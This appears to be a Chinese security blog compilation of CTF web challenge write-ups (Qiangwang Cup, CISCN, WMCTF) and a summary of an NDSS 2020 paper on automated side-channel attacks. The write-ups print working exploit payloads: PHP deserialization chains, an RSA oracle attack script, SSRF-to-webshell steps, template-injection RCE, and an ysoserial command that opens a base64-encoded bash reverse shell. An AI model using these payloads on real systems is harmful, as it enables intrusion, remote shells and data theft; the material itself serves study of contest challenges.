周末参加了强网杯线上赛,以下是web题解。
类定义如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
class player{
protected $user;
protected $pass;
protected $admin;
public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
class topsolo{
protected $name;
public function __construct($name = 'Riven'){
$this->name = $name;
}
public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}
public function __destruct(){
$this->TP();
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name = $name;
}
public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}
public function __invoke(){
$this->Gank();
}
public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}
class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
public function KS(){
system("cat /flag");
}
public function __toString(){
$this->KS();
return "";
}
}
整体来说,链还是比较容易找到的:1
topsolo -> __destruct -> TP -> $name() -> midsolo -> __invoke -> Gank -> stristr($this->name, 'Yasuo') -> jungle -> __toString -> KS
其中midsolo中有wakeup限制:1
2
3
4
5
6public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}
不过也是老考点了,比较好绕过。关键点是2个:1
2$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
首先我们对象需要逃逸,否则无法反序列化我们想要的对象,其次存在对象属性名过滤:1
2
3
4
5
6
7
8
9function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
属性名过滤我们可以通过:1
\6e\61\6d\65
来进行bypass,而对于对象逃逸,已经是之前考察过的考点了,可以参考:1
https://www.cnblogs.com/Wanghaoran-s1mple/p/13160708.html
因此我们可以通过:1
2$user = '0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0';
$pass='0";s:7:"\0*\0pass";O:7:"topsolo":1:{S:7:"\0*\0\6e\61\6d\65";O:7:"midsolo":2:{S:7:"\0*\0\6e\61\6d\65";O:6:"jungle":1:{S:7:"\0*\0\6e\61\6d\65";s:7:"Lee Sin";}}}};';
访问:1
http://eci-2zefq4smu487cmezc2u4.cloudeci1.ichunqiu.com/?username=0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0%5C0%2A%5C0&password=0%22%3Bs%3A7%3A%22%5C0%2A%5C0pass%22%3BO%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%5C0%2A%5C0%5C6e%5C61%5C6d%5C65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%5C0%2A%5C0%5C6e%5C61%5C6d%5C65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%5C0%2A%5C0%5C6e%5C61%5C6d%5C65%22%3Bs%3A7%3A%22Lee+Sin%22%3B%7D%7D%7D%7D%3B
再触发反序列化:1
http://eci-2zefq4smu487cmezc2u4.cloudeci1.ichunqiu.com/play.php
即可获取flag:
1 |
|
题目源码如上,还是比较简单的,对于第一关可以使用0e开头的字符串,第二关可以使用数组,第三关则是一道老题,参考:1
https://www.jianshu.com/p/12125291f50d
用ffifdyop
即可。
因此最后可使用:1
http://39.101.177.96/?hash1=0e251288019&hash2[]=2&hash3[]=1&hash4=ffifdyop
访问题目,发现cookie里放有rsa的信息:
同时发现存在文件泄露:1
http://106.14.66.189/abi.php.bak
源码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
session_start();
header("Content-type:text/html;charset=utf-8");
$data = json_decode($json_string, true);
$rand_number = isset($_POST['this_is.able']) ? $_POST['this_is.able'] : mt_rand();
$n = gmp_init($data['n']);
$d = gmp_init($data['d']);
$c = gmp_init($rand_number);
$m = gmp_powm($c,$d,$n);
$v3 = gmp_init('3');
$r = gmp_mod($m,$v3);
$result=(int)gmp_strval($r);
$dice = array("num"=>$result);
$json_obj = json_encode($dice);
echo $json_obj;
发现可以传递参数:1
$_POST['this_is.able']
但是this_is.able传递时,点会被替换成下划线:1
this_is.able -> this_is_able
因此需要想办法绕过,这里查看底层处理方式main/php_variables.c,可以得知:
因此可以使用[来进行绕过,传参方式为:1
this[is.able = xxxx
后面则是密码学的部分:
需要将:1
https://crypto.stackexchange.com/questions/11053/rsa-least-significant-bit-oracle-attack
推广到mod 3的情况。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53import requests
import json
from libnum import n2s
from fractions import Fraction
from Crypto.Util.number import*
url = 'http://106.14.66.189/abi.php'
c = 88611057676672840595766841579824069470206217129946135596214197506349717390763743327290683433946015480328468579057197141666127494006706093641604245416988006600651700656395596042499486504530580142311065863535717536001796279609016521570885772000690737095374160233594633294536318766991741757802548582282701543671
n=0x8f5dc00ef09795a3efbac91d768f0bff31b47190a0792da3b0d7969b1672a6a6ea572c2791fa6d0da489f5a7d743233759e8039086bc3d1b28609f05960bd342d52bffb4ec22b533e1a75713f4952e9075a08286429f31e02dbc4a39e3332d2861fc7bb7acee95251df77c92bd293dac744eca3e6690a7d8aaf855e0807a1157
e = 65537
def give_result_of_mod3(mm):
payload = str(mm)
data = {
'this[is.able':payload
}
Cookie = {
'PHPSESSID':'vpbteni7ahq83jh1chfs3kvug7',
'public_e':'010001',
'encrypto_flag':'88611057676672840595766841579824069470206217129946135596214197506349717390763743327290683433946015480328468579057197141666127494006706093641604245416988006600651700656395596042499486504530580142311065863535717536001796279609016521570885772000690737095374160233594633294536318766991741757802548582282701543671; public_n=8f5dc00ef09795a3efbac91d768f0bff31b47190a0792da3b0d7969b1672a6a6ea572c2791fa6d0da489f5a7d743233759e8039086bc3d1b28609f05960bd342d52bffb4ec22b533e1a75713f4952e9075a08286429f31e02dbc4a39e3332d2861fc7bb7acee95251df77c92bd293dac744eca3e6690a7d8aaf855e0807a1157'
}
r = requests.post(url=url,data=data,cookies=Cookie)
#print r.content
return int(json.loads(r.content)['num'])
def hack(c,e,n):
R = n%3
j = 1
exp3 = 3
length = n
low_bound = Fraction(0,1)
while length>1:
tmp_c = (pow(exp3,e,n)*c) % n
r = give_result_of_mod3(tmp_c)
k = (-r* inverse(R,3)) % 3
low_bound += Fraction(k*n,exp3)
exp3 *= 3
length = length//3
j +=1
return int(low_bound)
res = hack(c,e,n)
print(n2s(res))
flag{92ab3055092aad3e1856481091
题目给出了源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
highlight_file(__FILE__);
$flag=file_get_contents('ssrf.php');
class Pass
{
function read()
{
ob_start();
global $result;
print $result;
}
}
class User
{
public $age,$sex,$num;
function __destruct()
{
$student = $this->age;
$boy = $this->sex;
$a = $this->num;
$student->$boy();
if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student)))
{
ob_end_clean();
exit();
}
global $$a;
$result=$GLOBALS['flag'];
ob_end_clean();
}
}
if (isset($_GET['x'])) {
unserialize($_GET['x'])->get_it();
}
题目存在ssrf.php,想要知道源码,就必须先获取$flag的值,观察类定义,只有一个destruct可用,其中存在3个关键点:1
2
3$student->$boy();
global $$a;
ob_end_clean();
首先可以调对象的任意方法,其次存在变量覆盖,我们可以global任意变量,最后有ob_end_clean,我们拿不到输出。
同时注意到:1
unserialize($_GET['x'])->get_it()
如果单独传入类则会由于没有__call方法而报错。结合上述问题,这里我们考虑用如下方式进行bypass:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@error_reporting(1);
$flag='123';
class Pass
{
}
class User
{
public $age,$sex,$num;
}
$a = new Pass();
$b = new User();
$b->age = $a;
$b->sex = 'read';
$b->num = 'result';
$c = new User();
$c->age = $a;
$c->sex = 'read';
$c->num = 'this';
$d = serialize(array($b,$c));
echo urlencode($d);
可利用global $this出错:
让ob_end_clean无法清空缓冲区,从而获取输出:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网
$url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false;
if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
die("");
}
if($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_exec($ch);
curl_close($ch);
}
通过:1
http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=127.0.0.1
进行端口爆破,burp跑一遍,发现开放端口为40000:1
http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=127.0.0.1:40000
查看参数名为:
猜想后端代码为:1
file_put_contents($file,$content);
同时脑洞想到,文件上传目录为127.0.0.1:40000/uploads/PHPSESSID/
利用gopher传递数据,发现简单的使:1
file=1.php&content=<?php phpinfo();?>
会导致文件没有正常生成,原因应该是content被过滤了,简单测试,发现过滤了:1
<? ph
因此考虑使用伪协议写入内容,为避免过滤,直接选择了一个冷门的:1
file=php://filter/convert.iconv.UCS-4LE.UCS-4*/resource=shell.php&content=hp?< pave@_$(l[TEG]"a">?;)
即可写入shell:
尝试cat flag,但是发现存在open_basedir,这里使用一些常规的绕过方案:
即可看到flag,读取即可。
首先发现存在反序列化点:
同时看到黑名单:
发现未对JRMPListener做过滤,查看pom.xml:
发现有commons-collections依赖,因此利用ysoserial来生成exp:1
2
3java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 23334 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvMjMzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}"
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient xxx.xxx.xxx.xxx:23334 > 1.poc
即可反弹shell,并获取flag。
周末参加了一下国赛,有两年没参与了,还是一如既往的“吓人”,XD
题目存在源码泄露:1
http://eci-2ze0loaxjkuesryhroqr.cloudeci1.ichunqiu.com/www.zip
打开后发现是fatfree框架,进行代码审计,发现目标网站使用了php框架fatfree,且为最新版。同时关注到index.php路由:1
2
3
4
5
6
7$f3->route('GET /',
function($f3) {
echo "may be you need /?flag=";
}
);
unserialize($_GET['flag']);
发现题目给了一个反序列化位置,且参数可控。
于是在网上搜索fatfree相关的rce chain,可以搜到此题曾在2020 WMCTF中出现过。
但搜索网上相关的pop chain,发现都没打通,于是选择自己思考。
虽然这里CLI\Agent::fetch()被删除,但其存在的send方法潜在安全隐患:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20function send($op,$data='') {
$server=$this->server;
$mask=WS::Finale | $op & WS::OpCode;
$len=strlen($data);
$buf='';
if ($len>0xffff)
$buf=pack('CCNN',$mask,0x7f,$len);
elseif ($len>0x7d)
$buf=pack('CCn',$mask,0x7e,$len);
else
$buf=pack('CC',$mask,$len);
$buf.=$data;
if (is_bool($server->write($this->socket,$buf)))
return FALSE;
if (!in_array($op,[WS::Pong,WS::Close]) &&
isset($this->server->events['send']) &&
is_callable($func=$this->server->events['send']))
$func($this,$op,$data);
return $data;
}
此处注意到关键位置:1
2if (is_bool($server->write($this->socket,$buf)))
return FALSE;
我们发现,此处$server和$this->socket均可控,那么可以用来构造任意代码执行。但是存在问题,哪一个命令执行的php函数有2个参数,且第一个参数可控,第二个参数不可控就可以进行RCE?
这里想到create_function,我们可以利用如下方式,在第一个参数位置进行代码注入:1
){}phpinfo();//
构造exp,并发现可以成功执行phpinfo:
得到flag:
题目给出了源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//题目环境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
}else if ($pid){
$r=pcntl_wait($status);
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
}
此题有点不同寻常,和一般的web题有点差异,这里简单看了一下,我们需要在如下情况,才能调用phpinfo():1
2
3if(!pcntl_wifexited($status)){
phpinfo();
}
查阅手册:
发现我们需要让子进程不正常退出,这里考虑到使用后面的call_user_func:1
2
3if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
通过搜索php bug,可以得知:1
https://bugs.php.net/bug.php?id=52173
这里我们可以利用pcntl_waitpid:1
http://eci-2ze0y4x958n2qhsgv27b.cloudeci1.ichunqiu.com/?a=call_user_func&b=pcntl_waitpid
即可在phpinfo中获取flag。
题目给出了源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,执行出错,发现危险字符');
}
return $s;
}
function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}
if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case 'if':
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}
简单搜了下,发现是ZZZCMS源码的一部分,参考链接如下:1
https://cloud.tencent.com/developer/article/1576196
但是通过diff,发现这里的过滤比ZZZCMS多一些:1
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
参考到这篇文章:1
https://forum.90sec.com/t/topic/1239
其exp如下:1
{if:array_map(base_convert(27440799224,10,32),array(1))}{end if}
考虑该题过滤了base_convert函数,这里想一个新的bypass方案,尝试使用hex2bin:1
{if:array_map(hex2bin('73797374656d'),array('ls'))}{end if}
搭配使用system函数,即可rce获取flag:1
{if:array_map(hex2bin('73797374656d'),array('cat /flag'))}{end if}
访问:1
http://eci-2zed3ztpomt9lasf47o6.cloudeci1.ichunqiu.com/?a={if:array_map(hex2bin(%2773797374656d%27),array(%27cat%20/flag%27))}{end%20if}
题目给了源码,简单看一下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77var express = require('express');
const setFn = require('set-value');
var router = express.Router();
const COMMODITY = {
"sword": {"Gold": "20", "Firepower": "50"},
// Times have changed
"gun": {"Gold": "100", "Firepower": "200"}
}
const MOBS = {
"Lv1": {"Firepower": "1", "Bounty": "1"},
"Lv2": {"Firepower": "5", "Bounty": "10"},
"Lv3": {"Firepower": "10", "Bounty": "15"},
"Lv4": {"Firepower": "20", "Bounty": "30"},
"Lv5": {"Firepower": "50", "Bounty": "65"},
"Lv6": {"Firepower": "80", "Bounty": "100"}
}
const BOSS = {
// Times have not changed
"Firepower": "201"
}
const Admin = {
"password1":process.env.p1,
"password2":process.env.p2,
"password3":process.env.p3
}
router.post('/BuyWeapon', function (req, res, next) {
// not implement
res.send("BOOS has said 'Times have not changed'!");
});
router.post('/EarnBounty', function (req, res, next) {
// not implement
res.send("BOOS has said 'Times have not changed'!");
});
router.post('/ChallengeBOSS', function (req, res, next) {
// not implement
res.send("BOOS has said 'Times have not changed'!");
});
router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag);
}else {
res.send("Wrong password!Are you Admin?");
}
}
});
router.get('/SpawnPoint', function (req, res, next) {
req.session.knight = {
"HP": 1000,
"Gold": 10,
"Firepower": 10
}
res.send("Let's begin!");
});
router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);
res.send("Let's have a check!");
}
}
});
module.exports = router;
首先看如何获取flag:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag);
}else {
res.send("Wrong password!Are you Admin?");
}
}
});
发现只要:1
2
3if(Admin[key] === password){
res.send(process.env.flag);
}
即可获取flag。这里不难发现:1
const setFn = require('set-value');
存在原型链污染的问题,查看调用处:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);
res.send("Let's have a check!");
}
}
});
发现key和value都可控,那就好办了,这里直接进行污染:
然后去获取flag:
题目给出了源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);
题目考察了一个小trick,要求2个变量不相等,但md5相同,以往都需要使用诸如如下工具进行爆破:1
https://github.com/upbit/clone-fastcoll
这里由于有长度限制,我们可以使用trick:1
2
3
4
5
6
7
class trick{
public $trick1=INF;
public $trick2=1/0;
}
$exp = new trick();
echo serialize($exp);
即可进行bypass,访问:1
http://eci-2ze6ie6rtdjhwozbsgmd.cloudeci1.ichunqiu.com/?trick=O:5:%22trick%22:2:{s:6:%22trick1%22;d:INF;s:6:%22trick2%22;d:INF;}
即可获取flag.
线上赛的web题还是比较简单的,可能是因为考虑参赛面广,入围资格也多吧= =……
]]>这篇文章是发表在NDSS2020上,有关于微架构侧信道攻击的一篇文章。一作来自于英特尔公司,先前在硬件和底层上有比较多的研究。文章标题中的几个关键词,也在文章中有一定的体现,比如自动化、黑盒,合成等,这些都与一些现有的工作有比较大的差异。
CPU组件存在大量的侧信道攻击,但现有的每一种侧信道攻击方式,几乎都基于白盒分析的方法。通常情况下,需要3步来完成:
作者以从受害者进程或者虚拟机中泄露诸如密钥等敏感数据为目的,提出了这样一种威胁模型:
前面有提到,第一个难题就是如何自动化的进行指令插入,那么指令插入肯定不能随意乱做,我们需要找到感兴趣的代码路径,在其前后插入相应指令。而本文的针对攻击目标是加密函数,因此如何自动化的找到密钥相关的代码分支,就是一个难题。
这里作者选择使用污点分析来找到这些指令的插入位置,而后结合火焰图来自动的找出密钥相关的分支。
首先简单介绍一下火焰图的概念:
假设我们程序中需要执行main函数,main函数自身的CPU执行时间为2秒,而main函数中又调用了foo1和foo2函数,因此我们需要去计算foo1和foo2的执行时间,才能得到main的完整执行时间。
此时我们会去看foo1和foo2函数的调用时间,首先foo1函数自身的cpu执行时间为1.5秒,但由于其调用了bar函数,我们又需要再去看bar函数,才能计算出foo1的完整cpu执行时间。
此时看到bar函数,发现bar函数不再调用其他函数,其自身的cpu执行时间为2.5秒,因此我们可以算出foo1的完整cpu执行时间为其本身的1.5和bar函数的2.5之和,就是4秒。
那么同理,我们也可以算出foo2函数的完整执行时间为3秒,因此main函数的完整执行时间为自身的执行时间,加上foo1的时间,再加上foo2的时间,即9秒。
这一函数调用过程我们将其画成火焰图,如下图所示。
回到工具中,这里工具ABSynthe首先会将密钥文件中的所有数据标注为污点,进行污点分析。然后使用perf record来获取目标程序所有函数的火焰图,找到其中具有显著执行时间的函数,看其是否被我们的污点标注过,如果标注过,则在这些函数位置插入指令。
如下图中:
其中scalar是被标注成污点的密钥变量,第4行为密钥相关分支。第2和5行为我们嵌入的指令。
每当该分支被执行时,CRYPTLOOP_VALUE会发出信号,往共享内存中写入一个值,然后侧信道程序除了搜集侧信号信号以外,还会读取该值,用于后续的训练。
在搜集信息时,同样会存在难点,由于同步传输数据,本身就会产生噪音,影响侧信道的测量。
这里为了避免这一问题,作者使用了软同步策略,利用一个内存共享页来实现共享内存通道。同时让spy code持续监视目标共享内存位置,并将每个延迟测量值标记为样本值。
那么对于第2个难题,如果想造成一次效果较好的侧信道攻击,那么执行的指令序列的构造非常重要,之前的工作这一构造通常由人工完成。而在本篇文章里,作者使用差分进化算法来自动化的优化构造指令序列,该算法的输入为可以在微架构组件上产生资源争用的指令,这里作者选择了性能表现最好的指令作为种子。
同时作者希望算法可以自由的选择最终的指令序列,但又希望其生成的指令序列是有效的,因此作者提前设计了一种配方,让算法在寻找性能最好的指令序列时,对这些配方进行mutate。
首先我们来看一下配方的构成,第一个参数是Repeat number,这一参数用来定义指令序列需要执行的次数,范围为1~20次。指令序列的执行时间可以作为探测目标程序密钥操作的一种信号,执行时间需要在可观测和高分辨率中做一个衡量,因此指令序列执行次数非常重要。
第2、3参数代表是否在执行指令序列前或执行指令序列后存在内存屏障。如果存在内存屏障,可以保证内存通信时,不会因为乱序执行而使测量时间的指令出现噪音。但相应的,也可能会降低指令序列执行时间的分辨率。因此需要将这一参数保留,让算法来选择是否要其存在。
第4、5、6、7参数是用于来创建资源争用的。每个参数定义了特定信道所需的指令数量。
最后位置的参数用来规定使用哪种方式将指令块合并到一起。这里作者提出了3种合并方式:
作者使用了libgcrypt 1.6.3和libgcrypt 1.8.5中的加密函数EdDSA 25519、EdDSA 25519-hardened、EdDSA 25519-secure (1.8.5 only)、RSA、ECDSA P-256作为攻击目标进行实现评估。值得注意的是,EdDSA 25519-hardened中已经对侧信道攻击有了基本的防御机制,而EdDSA 25519-secure对于侧信道的防御机制被认为是最先进的。
作者在4个不同的微架构上进行了测试,使用F1分数来评估工具的性能。
这里值得注意的是,在ARM上,作者是人工编写的指令序列。这里原因是,对于ARM没有完整的leakage map,无法遍历测试。而另外3个x86微架构,作者测试了所有可能的指令,并使用了4条最好的指令序列。这也体现出,作者的工具要比人工编写指令序列性能高的多。
同时注意到红框部分,由于这一条表现的性能非常好,作者选用其进行测试,看其在信息不同步的情况下,对密钥的恢复能力如何。
作者对这些目标在信息不同步的情况下,进行了7次测试。可以发现再非GPG的情况下,正确恢复密钥的准确率在100%,而在GPG情况下有一定错误。即在无外部提示或者分析人员设置的情况下,密钥相关分支完全由工具自动的进行识别。
同时作者将自己工具优化生成的指令序列与其他工作人工构造的指令序列进行了性能比对。
可以发现工具自动优化得到的指令序列,性能高于其他人工构造的指令序列。
同时从两个维度来验证工具的鲁棒性。首先是能否自动的找到我们感兴趣的分支,即密钥相关的内容。
这里作者选择在完全无侧信道防御的EdDSA 25519算法上进行了7次测试,可以发现在密钥相关程序开始时和其他时候有显著的差异。说明工具在我们感兴趣的区域预测密度显著较高,证明了工具的可靠性。
第二个维度,作者从被干扰的情况下,测试工具的鲁棒性。这里作者使用usleep函数,来干扰cpu的执行时间,干扰量为0.1%~30.6%。
这里我们可以发现2个点,第一点是即使目标程序存在噪音,密钥恢复的准确度都不会有太多变化,这是因为我们前面介绍过,密钥的恢复算法具有鲁棒性,可以抵御干扰。第二点是,我们的侧信道程序上如果出现噪音,则会受到影响,因为这涉及到了信号采集问题,如果信号不能准确采集,那么则无法进行密钥的恢复。
当然工具也有一些局限性。
首先工具要求目标软件会在加密运行时花费较长时间。同时密钥需要从文件系统中进行加载,否则无法进行自动污点分析。
第二点是工具需要目标微架构的指令集定义格式易于创建leakage map,才能使用工具的方法自动生成并优化指令序列。这一点在x86上比较容易获得,但是对于ARM还不行。
第三点是工具在后续的处理阶段,可以有更为自动化的方式,通过暴力破解启发式的方法来应用于各种程序。
本篇文章第一个创建了在x86微架构上完整的leakage maps,并实现了一个全自动的侧信道攻击,其可以利用资源竞争的方式,对各种平台,各种环境上的加密程序来进行侧信道攻击。对于前人工作具有比较高的创新性,同时为后续侧信道攻击测试提供了便捷性。
]]>周末打了下WMCTF,Web题量大且大多需要细致推敲,以下是部分Web题解。
签到题不多说了,似乎是出题的时候,忘记改flag名了……直接包含即可:1
http://web_checkin.wmctf.wetolink.com/?content=/flag
题目如下:1
2
3
4
5
6
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
题目只给了require_once函数,由于flag.php被包含过,所以无法读取其内容。那么需要思考一些方法:1
21. getshell
2. bypass require_once check
这里先讲第一种做法,因为这题环境配置出现了非预期= =:
我们可以利用session upload progress来控制session文件内容,并进行文件包含:
从而达成getshell的目的:1
view-source:http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=/tmp/skysec&skysec=system('cat flag.php');
这个解法已经烂大街了,就不具体分析了~
题目修正了之前的非预期,修改了flag名字:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
die('hacker');
if(file_exists($content))
require_once($content);
file_put_contents($content,'<?php exit();'.$content);
}
在该篇文章里已经有一定的分析了:1
https://www.anquanke.com/post/id/202510
但文章中涉及的内容都被waf拦截了,这里有2种方式:1
21.想出一个新的办法
2.利用file_put_content会解url编码的特性,进行2次编码绕过
